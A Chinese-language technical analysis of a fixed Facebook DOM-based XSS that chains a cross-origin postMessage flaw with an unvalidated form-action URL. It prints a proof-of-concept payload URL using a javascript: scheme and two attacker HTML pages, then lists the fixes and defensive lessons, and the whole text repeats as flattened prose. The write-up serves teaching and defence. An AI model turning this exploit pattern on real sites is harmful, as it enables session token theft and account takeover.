技术分享:如何使用postMessage利用Facebook中基于DOM的XSS漏洞
字数 1368 2025-08-15 21:32:52

利用Facebook中基于DOM的XSS漏洞的技术分析文档

漏洞概述

本漏洞组合利用了Facebook平台中的两个安全缺陷:

  1. 第一个漏洞允许攻击者从facebook.com域名通过postMessage发送跨域消息
  2. 第二个漏洞与第一个相关,允许根据EventListener接收的表单提交数据构造不安全脚本

这两个漏洞组合可导致基于DOM的XSS攻击,最终可能窃取用户访问令牌并接管Facebook账户。

漏洞技术细节

第一个漏洞:跨域postMessage消息发送

存在漏洞的端点
https://www.facebook.com/payments/redirect.php

关键参数

  • type参数:正常情况下为"i",若改为"rp"则会使用postMessage与打开该页面的窗口通信
  • 目标源设置为our.intern.facebook.com(仅限Facebook员工访问)

绕过限制的方法

  • 访问our.alpha.facebook.com/payments/redirect.php(不会重定向到www.facebook.com)
  • our.alpha.facebook.comwww.facebook.com内容相同
  • 满足targetOrigin条件,消息可传递到打开的窗口

第二个漏洞:不安全的脚本构造

涉及组件

  • Facebook Canvas应用程序托管在apps.facebook.com
  • 加载的iframe URL:https://www.facebook.com/platform/page_proxy/?version=X

漏洞代码分析

  1. 代码使用postMessage将带有frameName的消息发送到任何源
  2. 设置EventListener等待接收消息
  3. 收到满足条件的消息后,根据消息数据提交表单

关键缺陷

  • submitForm()方法中,action属性直接设置为a.data.params.appTabUrl
  • appTabUrl未验证是否以http/https开头,允许JavaScript协议

漏洞利用链

  1. 构造恶意Payload
https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1

对应JSON对象:

{
  "type": "rp",
  "name": "_self",
  "params": {
    "appTabUrl": "javascript:alert(1);",
    "signedRequest": "SIGNED_X"
  },
  "platformAppControllerGetFrameParamsResponse": "1"
}
  1. 攻击页面1(初始诱导页面):
<html>
<button class="button" onClick="
  window.open('https://attacker/page2.html', '_blank');
  document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';
">
  <span class="icon">Start Attack</span>
</button>
</html>
  1. 攻击页面2(实际执行攻击):
<html>
<script>
setTimeout(function(){
  window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&ampparams[appTabUrl]=javascript:alert(1);&ampparams[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';
}, 3000);
</script>
</html>

漏洞修复方案

Facebook已采取以下修复措施:

  1. 移除了支付重定向(/payments/redirect.php)中的postMessage组件
  2. appTabUrl中添加了对http/https协议的检测

教学要点

  1. postMessage安全

    • 必须严格验证消息来源和目标源
    • 避免使用通配符(*)作为目标源
    • 对接收的数据进行严格验证
  2. URL处理安全

    • 所有动态设置的URL必须验证协议
    • 禁止使用javascript:等危险协议
    • 实施白名单机制限制允许的协议
  3. 防御措施

    • 实施内容安全策略(CSP)限制脚本执行
    • 对用户提供的输入进行严格过滤
    • 定期进行安全审计,特别是涉及跨域通信的组件
  4. 开发实践

    • 避免将用户控制的数据直接用于DOM操作
    • 使用安全的API处理跨域通信
    • 实施输入验证和输出编码

通过分析此漏洞案例,开发者应更加重视postMessage的安全使用和URL处理的潜在风险,以防止类似的XSS攻击发生。

利用Facebook中基于DOM的XSS漏洞的技术分析文档 漏洞概述 本漏洞组合利用了Facebook平台中的两个安全缺陷: 第一个漏洞允许攻击者从facebook.com域名通过postMessage发送跨域消息 第二个漏洞与第一个相关,允许根据EventListener接收的表单提交数据构造不安全脚本 这两个漏洞组合可导致基于DOM的XSS攻击,最终可能窃取用户访问令牌并接管Facebook账户。 漏洞技术细节 第一个漏洞:跨域postMessage消息发送 存在漏洞的端点 : https://www.facebook.com/payments/redirect.php 关键参数 : type 参数:正常情况下为"i",若改为"rp"则会使用postMessage与打开该页面的窗口通信 目标源设置为 our.intern.facebook.com (仅限Facebook员工访问) 绕过限制的方法 : 访问 our.alpha.facebook.com/payments/redirect.php (不会重定向到www.facebook.com) our.alpha.facebook.com 与 www.facebook.com 内容相同 满足targetOrigin条件,消息可传递到打开的窗口 第二个漏洞:不安全的脚本构造 涉及组件 : Facebook Canvas应用程序托管在 apps.facebook.com 加载的iframe URL: https://www.facebook.com/platform/page_proxy/?version=X 漏洞代码分析 : 代码使用postMessage将带有frameName的消息发送到任何源 设置EventListener等待接收消息 收到满足条件的消息后,根据消息数据提交表单 关键缺陷 : submitForm() 方法中, action 属性直接设置为 a.data.params.appTabUrl appTabUrl 未验证是否以http/https开头,允许JavaScript协议 漏洞利用链 构造恶意Payload : 对应JSON对象: 攻击页面1 (初始诱导页面): 攻击页面2 (实际执行攻击): 漏洞修复方案 Facebook已采取以下修复措施: 移除了支付重定向( /payments/redirect.php )中的postMessage组件 在 appTabUrl 中添加了对http/https协议的检测 教学要点 postMessage安全 : 必须严格验证消息来源和目标源 避免使用通配符(* )作为目标源 对接收的数据进行严格验证 URL处理安全 : 所有动态设置的URL必须验证协议 禁止使用javascript:等危险协议 实施白名单机制限制允许的协议 防御措施 : 实施内容安全策略(CSP)限制脚本执行 对用户提供的输入进行严格过滤 定期进行安全审计,特别是涉及跨域通信的组件 开发实践 : 避免将用户控制的数据直接用于DOM操作 使用安全的API处理跨域通信 实施输入验证和输出编码 通过分析此漏洞案例,开发者应更加重视postMessage的安全使用和URL处理的潜在风险,以防止类似的XSS攻击发生。